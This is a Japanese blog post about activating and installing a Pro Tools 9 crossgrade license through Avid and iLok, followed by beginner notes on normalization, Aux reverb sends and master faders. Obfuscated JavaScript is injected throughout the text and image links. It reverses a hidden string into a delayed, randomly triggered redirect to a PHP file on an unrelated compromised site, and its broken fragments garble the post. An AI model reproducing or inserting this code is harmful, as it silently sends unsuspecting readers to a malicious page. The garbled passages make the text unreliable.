Pro Tools 9 クロスアップデートしました

前の投稿でWindows7にProTools8をインストールした記事を書きましたが

PろTools9が出ていることをしって、このたび購入してしましました。

そんなわけで、さっそくインストールしようとしましたが、iLokにランセンスがでない・・・

と困って調べることになったので、簡単に手順を書くことにします。

最初に手順を読んでいれば悩むこともないんでしょうが、わからなかったらしらべるという性格なのです。

1.ProTools9のアクティベーションをWebサイトで行う

 iLokの前に以下のサイトでアクティベーションを行います。

  dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}https://account.avid.com

 ProTools9.0LE クロスグレード・アクティベーション・カードには、この手順が書かれていないというオチ。

 Avidアカウントでログイン

 (クロスグレードの場合、前にアクティベートしているはずなので作成済みかと思います)

2.アクティベーション・コードを入力

 以下のような画面が表示されるのでProTools9.0LE クロスグレード・アクティベーション・カードに

 記載されているコードを入力して、今すぐダウンロードボタンをクリック。

 

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110504_000″ rel=”attachment wp-att-794″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

3.iLok情報とハードウェア・シリアル番号を入力

 iLok情報には、iLok情報のアカウント(ユーザID)を入力。

 ハードウェアのシリアル番号は、H/Wの背面に貼ってあるシールに書いてあるシリアル番号を入力して続行。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110504_001″ rel=”attachment wp-att-795″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

4.iLokにライセンス情報をダウンロード

 今度は、iLokのサイトに接続してログイン。

 dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www.ilok.com/

 そうすると、以下のように新しいライセンスが表示されていると思います。

 (DELETEボタンは絶対押したらだめです。ライセンスがきえてしまいます)

 Download To iLokボタンをクリックするとライセンス情報がiLokにコピーされます。

 これによりProToolsを起動したときに正常に認証できるようになります。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110504_002″ rel=”attachment wp-att-796″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 

5.ProToolsのインストール

 ProTools9をインストール。

6.ProToolsのデバイスインストール

 ProTools9以前のドライバだとだめなので

 CDに入っているドライバ、または、サイトからダウンロードしてドライバをインストール。

 Pro Tools 9用ドライバーのダウンロードとアップデート

 http://avid.custkb.com/avid/app/selfservice/search.jsp?DocId=379411

 

以上で、起動できるかと思います。

あとは、設定の見直しをしてみるといいかと思います。

コンピューター最適化ガイド ? Mac及びWindows [367983]

http://avid.custkb.com/avid/app/selfservice/search.jsp?DocId=367983

Windows ガイド – Windows 7 最適化とトラブルシュート [349411]

http://avid.custkb.com/avid/app/selfservice/search.jsp?DocId=349411

使ってみた感想は、特にProTools8からあまり変わり映えしないというか

見た目も一緒だし、違和感なく使えました。

むしろ、どこが変わったか調べないとわからないレベルですね。

Pro Tools LE 8で今更ノーマライズとか

ノーマライズうまくいかないのはなんでだろうと思っていたら、ようやく原因が判明。

ものすごく馬鹿らしいですが、チェックの入れ忘れでした。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

わーい、これで小さい音がちゃんと聞こえるようになったよ。。。

これに気付くのにどれだけかかったか・・・ぼけてますね。

そして、ぼけぼけ再び

リーバブとかは重たいのでCPU負荷が上がったりするらしいのでセンドを利用してひとつにまとめればよいみたいなことが書いてありました。

なるほど!!

ということで、さっそくやってみたけど、なぜかAUX用に作ったトラックから音がでない。

なぜだろうと、やり方を読んでいたら、AUX用のトラックを追加dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}と書いてある。

え!?

と、トラックの追加画面をみてみる。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

はい、思いっきりありました。

「Aux入力」選べばできました。

ということで、ボカロの歌声を鮮度A-Eのところで、Bus1-2に暫定で設定

Auxのトラックではi/oで先ほどのBus1-2を設定。

これでボカロの声のトラックからAuxトラックにいくわけですね。

ふぅ、とんだ間抜けがいたものだ。

ついでに、今まではWAVファイルを出力した後、再度ミックス用にマキシマイザーとかかけてたんだけど

マスターフェーダーというトラックを作り、そこに最終ミックスようの設定をしてあげれば良いと判明。

ああ、DAWの使い方を知らなさすぎですね。

ちなみ、こういう感じになります。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}
ちなみに上記画像だと、実際はリバーブをかけたいトラックが一つなのでAux使う必要もない状態です。

あくまでも、Auxの使い方を勉強するためのものということで。

と書きながら、やり方が全然違うよとか突っ込まれたりしかねないほど、DAWわかってません。

ProTools購入したのはかなり前なのに、今回かいたような基本的な使い方すら知りませんでした。